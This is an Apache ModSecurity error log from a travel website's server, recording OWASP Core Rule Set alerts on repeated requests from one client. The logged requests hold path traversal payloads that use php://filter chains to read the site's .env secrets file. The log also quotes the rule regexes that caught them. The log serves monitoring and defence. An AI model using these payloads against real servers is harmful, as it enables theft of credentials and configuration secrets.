[Fri Jul 17 08:55:11.511282 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AaQAAAAU"]
[Fri Jul 17 08:55:11.513570 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&junk=7gUcW6Kdz1JxmEOjjtMycly-B_eOL3t-e3r0xZna2Ut_vcXTGdDV7C39uADsqL-RA8QOWJZ9yLuYz-aKiNqKFdw9R3spmMaAFFXdCQIlgxaKXMVJ6mF5hAiNlM_LKPRDtKSdcbm5aEZXd2lTwgFuiZhwbjXZqpVxw0FVrOZ7-1oN4CyEv1G-P3YBSB4uM1dvG7xBwdVe-bR8oyJHDmUrHYSN3HROgefgq4yRIX986XX9N0FBM5hts1KJcAqVYOizroS6Su-ej13qhygKICSC8a6V&sid=YW2DD6XMLYGO6PVTNYHSJRSIWEUKSUB7IE3O3E65GPASLATAYUXO4UYCF4ZTKX44PPAHWKIF6..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.513626 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.513696 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=7gUcW6Kdz1JxmEOjjtMycly-B_eOL3t-e3r0xZna2Ut_vcXTGdDV7C39uADsqL-RA8QOWJZ9yLuYz-aKiNqKFdw9R3spmMaAFFXdCQIlgxaKXMVJ6mF5hAiNlM_LKPRDtKSdcbm5aEZXd2lTwgFuiZhwbjXZqpVxw0FVrOZ7-1oN4CyEv1G-P3YBSB4uM1dvG7xBwdVe-bR8oyJHDmUrHYSN3HROgefgq4yRIX986XX9N0FBM5hts1KJcAqVYOizroS6Su-ej13qhygKICSC8a6V&sid=YW2DD6XMLYGO6PVTNYHSJRSIWEUKSUB7IE3O3E65GPASLATAYUXO4UYCF4ZTKX44PPAHWKIF6YNX5BOX4U4X7WPPXTJHZ37KCRJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.513744 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=7gucw6kdz1jxmeojjtmycly-b_eol3t-e3r0xzna2ut_vcxtgddv7c39uadsql-ra8qowjz9yluyz-akinqkfdw9r3spmmaaffxdcqilgxakxmvj6mf5hainlm_lkprdtksdcbm5aezxd2ltwgfuizhwbjxzqpvxw0fvroz7-1on4cyev1g-p3ybsb4um1dvg7xbwdve-br8oyjhdmurhysn3hrogefgq4yrix986xx9n0fbm5hts1kjcaqvyoizros6su-ej13qhygkicsc8a6v&sid=yw2dd6xmlygo6pvtnyhsjrsiweuksub7ie3o3e65gpaslatayuxo4uycf4ztkx44ppahwkif6ynx5box4u4x7wppxtjhz37kcrj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.513774 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.513803 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.514161 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.515162 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.515289 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.515586 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sIQAAABQ"]
[Fri Jul 17 08:55:11.520645 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=9b8cDJRVeVnT3licFz48L0g7R8ss1jAz62NS8gGHgkBGKiYStXDAIRSjPEf2UkNIAIQsz9Dtm-cD83B1LCux37F6o7D1abdOBPQFQIR0LgVHV4BAXAHHD7c_I79VqTOC7utZsYMXOTTanHRVi_229t0vm1q8uqFxHGb4A2bwsyla-iX1yMaM0hjcv0cru-2EdYDXWkkI0eWx7L7qse9JxL04GV_8kFYvhmfX0N3mjTkyKZpuFdYZ_Yum5-aR2bBiYUojqS4nz42JVx5MhUhJwu77&junk=FDT7IP2I7JK2S5LPA3XOQN2PVEP7YKI4PBSISLO2IBIX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.520699 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.520776 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&token=9b8cDJRVeVnT3licFz48L0g7R8ss1jAz62NS8gGHgkBGKiYStXDAIRSjPEf2UkNIAIQsz9Dtm-cD83B1LCux37F6o7D1abdOBPQFQIR0LgVHV4BAXAHHD7c_I79VqTOC7utZsYMXOTTanHRVi_229t0vm1q8uqFxHGb4A2bwsyla-iX1yMaM0hjcv0cru-2EdYDXWkkI0eWx7L7qse9JxL04GV_8kFYvhmfX0N3mjTkyKZpuFdYZ_Yum5-aR2bBiYUojqS4nz42JVx5MhUhJwu77&junk=FDT7IP2I7JK2S5LPA3XOQN2PVEP7YKI4PBSISLO2IBIXQIGDI7WXAOEMTI4U52AVFZ2JVHS4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.520825 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&token=9b8cdjrvevnt3licfz48l0g7r8ss1jaz62ns8gghgkbgkiystxdairsjpef2ukniaiqsz9dtm-cd83b1lcux37f6o7d1abdobpqfqir0lgvhv4baxahhd7c_i79vqtoc7utzsymxottanhrvi_229t0vm1q8uqfxhgb4a2bwsyla-ix1ymam0hjcv0cru-2edydxwkki0ewx7l7qse9jxl04gv_8kfyvhmfx0n3mjtkykzpufdyz_yum5-ar2bbiyuojqs4nz42jvx5mhuhjwu77&junk=fdt7ip2i7jk2s5lpa3xoqn2pvep7yki4pbsislo2ibixqigdi7wxaoemti4u52avfz2jvhs4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.520859 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.520885 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.521242 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.522304 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.522461 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.522777 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PnAAAABk"]
[Fri Jul 17 08:55:11.528730 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=2lSrfZyPWJ6wG76ddJ9U0ep4QOgezCAc4imDtby-dmXSrVXo1LAwEIl_m1EtGz4ryG7R9fMVhHSHJT0n9URdziAuPNthL6lfXN5LjbFsxr-St2LDkSKvy4GWwWV7HrmPSgyFHXB_n-oS10sVbkYmYBDjgTypuTrEH1RRQKXUJ2Kqf51tpcW6ybmLWCm1KVVC7jdouMOkP6tytEDFHCc3YyLYT4O_iTLEtvfqNBsfmb_azQhDBntvYSf6lE8xmACZdo9Lj-Cf0fzJmcgu1yaqMCb5&debug=CXRIRQB4OH2CMYXICA37WFXXFLWYJ6A7EQXKZPJE4KQLNDWE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.528786 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.528835 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&token=2lSrfZyPWJ6wG76ddJ9U0ep4QOgezCAc4imDtby-dmXSrVXo1LAwEIl_m1EtGz4ryG7R9fMVhHSHJT0n9URdziAuPNthL6lfXN5LjbFsxr-St2LDkSKvy4GWwWV7HrmPSgyFHXB_n-oS10sVbkYmYBDjgTypuTrEH1RRQKXUJ2Kqf51tpcW6ybmLWCm1KVVC7jdouMOkP6tytEDFHCc3YyLYT4O_iTLEtvfqNBsfmb_azQhDBntvYSf6lE8xmACZdo9Lj-Cf0fzJmcgu1yaqMCb5&debug=CXRIRQB4OH2CMYXICA37WFXXFLWYJ6A7EQXKZPJE4KQLNDWEVSUAQ7KQLN7QI3N5UMQUAFAPPG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.528895 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&token=2lsrfzypwj6wg76ddj9u0ep4qogezcac4imdtby-dmxsrvxo1laweil_m1etgz4ryg7r9fmvhhshjt0n9urdziaupnthl6lfxn5ljbfsxr-st2ldkskvy4gwwwv7hrmpsgyfhxb_n-os10svbkymybdjgtyputreh1rrqkxuj2kqf51tpcw6ybmlwcm1kvvc7jdoumokp6tytedfhcc3yylyt4o_itletvfqnbsfmb_azqhdbntvysf6le8xmaczdo9lj-cf0fzjmcgu1yaqmcb5&debug=cxrirqb4oh2cmyxica37wfxxflwyj6a7eqxkzpje4kqlndwevsuaq7kqln7qi3n5umquafappg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.528925 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
